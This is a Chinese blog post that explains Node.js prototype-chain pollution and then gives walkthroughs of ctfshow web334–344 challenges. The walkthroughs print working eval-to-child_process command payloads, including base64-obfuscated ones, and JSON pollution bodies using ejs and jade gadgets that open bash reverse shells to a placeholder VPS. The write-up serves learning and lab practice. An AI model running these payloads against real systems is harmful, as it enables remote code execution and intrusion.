浅析node.js原型链污染

本文最后更新于 2024年10月20日 下午

参考链接:

深入理解 JavaScript Prototype 污染攻击 | 离别歌 (leavesongs.com)

继承与原型链 - JavaScript | MDN (mozilla.org)

https://www.freebuf.com/articles/web/361333.html

ctfshow_NodeJS | CH0ico

0x01 prototype和proto

在javaScript中,如果需要定义一个类,需要以定义”构造函数”的方式来定义

1
2
3
4
function Test(){
this.bar = 1
}
new Test()

在其中,Test函数的内容,就是Test类的构造函数,而this.bar就是Test类的属性

类同时也必然有一些方法,类似就是this.bar,也可以将方法定义在构造函数内部

1
2
3
4
5
6
7
function Test(){
this.bar = 1
this.show =function(){
console.log(this.bar)
}
}
(new Test()).show()

但这样会出现一个问题,当新建一个Test对象的时候,this.show=func...就会执行一次,这个show方法实际上绑定在对象上(bar),而不是”类”上

想创建类的时候只创建一次show方法,这时候就需要用到原型(prototype)

1
2
3
4
5
6
7
8
function Test(){
this.bar = 1
Test.prototype.show=function show(){
console.log(this.bar)
}
}
let test =new Test()
test.show()

运行会出现1

可以理解为原型prototype是类Test的一个属性,而所有由Test实例化的对象都将拥有这个属性中的所有内容,包括变量和方法。上面代码中test对象,天生就具有test.show方法(也就是继承了)

可以通过Test.prototype来访问Test类的原型,但Test实例化的对象,是不可以通过prototype访问原型的。这时候,就该__proto__登场了。

也就是Test类实例化出来的test对象,可以通过test.proto属性来访问Test类的原型,也就是

1
test.__proto__ == Test.prototype

因此总结一下

  1. prototype是一个类的属性,所有类的对象在实例化的时候将会拥有prototype中的属性和方法
  2. 一个对象的__proto__属性,指向这个对象所在的类prototype属性

0x02 JavaScript原型链继承

所有类对象在实例化的时候将会拥有prototype中的属性和方法,这个特性被用来实现JavaScript中的继承机制

举个例子来说

1
2
3
4
5
6
7
8
9
10
11
12
13
function Orange(){
this.a = 'aaa';
this.b = 'bbb';
}

function Apple(){
this.a = "AAA";
}

Apple.prototype = new Orange();

let apple = new Apple();
console.log(`a是:${apple.a} ${apple.b}`);

2024-10-17180552

Apple类继承了Orange类的b属性,最后使得可以输出bbb

能造成是这样,是因为在调用apple.b时,JavaScript引擎进行如下的操作:

首先会在对象中寻找b这个对象,如果找不到的话,就会在apple.__proto__中寻找b,如果仍然找不到的话会继续apple.__proto__..__proto__寻找,依次寻找,直到找到null结束。例如Object.prototype__proto__就是null

以上就是一个简单的JavaScript面向对象编程,主要需要牢记的是

1.每个构造函数(constructor)都有一个原型对象(prototype)

2.对象__proto__属性,指向类的原型对象prototype

3.JavaScript使用prototype链实现继承机制

0x03 什么是原型链污染

在0x01里面叙述过了test.__proto__指向的是Test类的prototype,那么如果修改了test.__proto__中的值,原理上应该也可以修改Test ,简单测试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// foo是一个简单的JavaScript对象
let foo = {bar: 1}

// foo.bar 此时为1
console.log(foo.bar)

// 修改foo的原型(即Object)
foo.__proto__.bar = 2

// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)

// 此时再用Object创建一个空的zoo对象
let zoo = {}

// 查看zoo.bar
console.log(zoo.bar)

2024-10-17195744

可以发现即使没有给zoo是一个空对象,但是最后输出了2

这里的原理就是修改了foo的原型foo.__proto__.bar为2,foo是一个Object类的实例,实际上就是修改了类的属性,给这个类加上了bar这个属性,值为2

后者又用这个类创建了一个zoo的对象,由于所有的对象都是公用类的属性,即使zoo里面一开始没有bar这个属性,但是通过原生可以继承,zoo对象自然也有bar属性。

因此可以通过控制修改一个对象的原型从而影响来自同一个类,父族类的其他对象,这种攻击就是原型链污染。

0x04 什么情况可以污染

在实际应用中,需要思考哪些情况存在原型链可以攻击?

首先需要考虑在何种情况设置__proto__的值?可以找找能够控制数组(对象)的”键名”的操作即可:

对象merge:

对象clone:(内核就是将待操作的对象merge到一个空对象中)

以常见的merge为例,可以做一个简单的例子

1
2
3
4
5
6
7
8
9
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

代码的功能是将两个对象进行深度合并,逐级将 source 对象中的属性合并到 target 对象中。这个函数执行的是深度合并,当 targetsource 都有同一个属性并且该属性是对象时,递归合并它们的属性。

在合并的过程中,存在赋值的操作target[key] = source[key],那么,这个key如果是__proto__,就可以进行原型链的污染了。

1
2
3
4
5
6
7
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

2024-10-17212623

通过运行结果不难发现原型链并没有被污染

原因是用JavaScript创建o2的过程let o2 = {a: 1, "__proto__": {b: 2}}中,__proto__已经代表了o2的原型了,此时遍历o2的所有键名,拿到的是[a, b]__proto__并不是一个key,自然也不会修改Object的原型。(实际上是在将 o2 的原型设置为 {b: 2}。也就是说,o2 对象的原型链上存在 {b: 2}__proto__ 并不是 o2 自己的一个普通属性,__proto__ 是一个特殊的属性,当你在对象字面量中使用 __proto__ 时,它被解释为设置该对象的原型,而不是一个普通键值对。)

1
2
3
4
5
6
7
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')//强制认为是键值
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

2024-10-17222750

新建的o3对象,也存在b属性,说明Object已经被污染.这是因为,JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。

merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。

0x05 靶场练习(原型链从338)

ctfshow web334

下载附件在user.js里面有账户密码,再看一下login.js文件定位关键代码

1
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

不可以等于,但是接受后可以转化为大写,所以输入ctfshow123456即可

ctfshow web335

先看源码会发现有提醒?eval=输入,尝试ls,没有文件,输入1有正常的文件,考虑本题是nodejs的题目,回归到官方的文档上,大概率考察的是这个eval函数

require("child_process"):

这是 Node.js 中的内置模块,用于执行子进程。child_process 模块允许我们从 Node.js 脚本中执行系统命令或启动外部进程。

execSync()child_process 模块中的一个函数,用于以同步的方式执行 shell 命令。与 exec() 不同,execSync() 会等待命令执行完毕,并将其输出返回。使用同步方式时,程序会阻塞,直到命令执行完成。尝试执行

1
?eval=require("child_process").execSync("ls")

得到flag的文本内容,再执行cat就可以了

1
?eval=require('child_process').execSync('cat f*')

ctfshow web336

0x01

同样的提示,传上题的payload会回显tql,简单的测试一下发现过滤了exec需要拼接绕过

1
?eval=require("child_process")['exe'%2B'cSync']("ls")

然后正常执行

1
?eval=require("child_process")['exe'%2B'cSync']("cat f*")

0x02

可以进行base64转化

1
?eval=eval(Buffer.from("cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCdjYXQgZmwwMDFnLnR4dCcp",'base64').toString('ascii'))

把里面的命令base64加密Buffer.from() 将 base64 编码的字符串解码为一个缓冲区对象

ctfshow web337

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}

});

module.exports = router;

传入a和b,a和b要为真、a和b长度相等,a不等于b,a+flag和b+flag在md5后相等,则输出flag

1
?a[x]=1&b[x]=2

ctfshow web338

先分析源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';

var sess = req.session;

let user = {};
var secert = {};

utils.copy(user,req.body); // 后者 req 的内容覆盖给 user
// secert.__proto__ == user.__proto__
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});

module.exports = router;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
//common.js
module.exports = {
copy:copy
};

function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

__proto__进行污染就可以使ctfshow变成值了,下面具体步骤

在common.js文件里,进行了转化造成了原型链,因为原型污染,secret对象直接继承了Object.prototype,所以就导致了secert.ctfshow==='36dboy'

1
{"__proto__":{"ctfshow":"36dboy"}}

2024-10-19230246

ctfshow web339

先上源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

function User(){
this.username='';
this.password='';
}
function normalUser(){
this.user
}


/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;

var secert = {};
let user = {};

utils.copy(user,req.body);

if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}


});

module.exports = router;
1
2
3
4
5
6
7
8
9
10
11
12
//api.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});

module.exports = router;

common.js文件一样,也是造成污染的原因,分析一下代码

1
if(secert.ctfshow===flag)

由于flag是未知量,不能和上题一样进行直接的修改

分析api.js,展示了一个基于 Express 的 POST 路由处理,它将用户输入(来自请求体的 query 字段)传递给 Function() 构造函数执行。

1
Function(query)(query)

这部分是代码的核心问题。Function() 构造函数的作用是将传入的字符串参数转化为可执行的函数,它的使用方式类似于 eval(),可以通过污染api原型造成远程的rce

0x01

1
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/xxxxx 0>&1\"')"}}

先在/login里面post发包进行污染,然后/api里面post发包就可以弹上了,最后一步头,污染失败可以再开一次容器

2024-10-20000826

剩下来找就行了在routes/login.js里

0x02

ejs模板漏洞导致rce,详情可参照p神博客的例题案例

1
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1\"');var __tmp2"}}

发包原理同0x01

ctfshow web340

在login.js里多了这些内容

1
2
3
4
5
6
7
8
9
10
11
//login.js
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);

定位关键代码,proto原型多套一层就可以了

1
if(user.userinfo.isAdmin)
1
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"')"}}}

剩下的同上

ctfshow web341

本题删除了api,login进行了微调

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
};
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
return res.json({ret_code: 0, ret_msg: '登录成功'});
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}

});

module.exports = router;

本题的预期解就是339的非预期解,但是需要再套一层原型就可以打通了

1
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"');var __tmp2"}}}

也是/login的post发包,然后随便的post访问,vps里输入env得到flag

ctfshow web342&343

这题考察的是jade rce

再探 JavaScript 原型链污染到 RCE - 先知社区 (aliyun.com)

1
{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xxxxxxxxxxx/5566 0>&1\"')"}}}

ctfshow web344

1
2
3
4
5
6
7
8
9
10
11
12
13
14
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}

});

过滤了逗号已经他的url编码

要传?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}

都进行url编码就行了

1
?query=%7b%22%6e%61%6d%65%22%3a%22%61%64%6d%69%6e%22&query=%22%70%61%73%73%77%6f%72%64%22%3a%22%63%74%66%73%68%6f%77%22&query=%22%69%73%56%49%50%22%3a%74%72%75%65%7d

浅析node.js原型链污染
https://0ran9ewww.github.io/2024/10/20/学习文章/浅析node.js原型链污染/
作者
orange
发布于
2024年10月20日
许可协议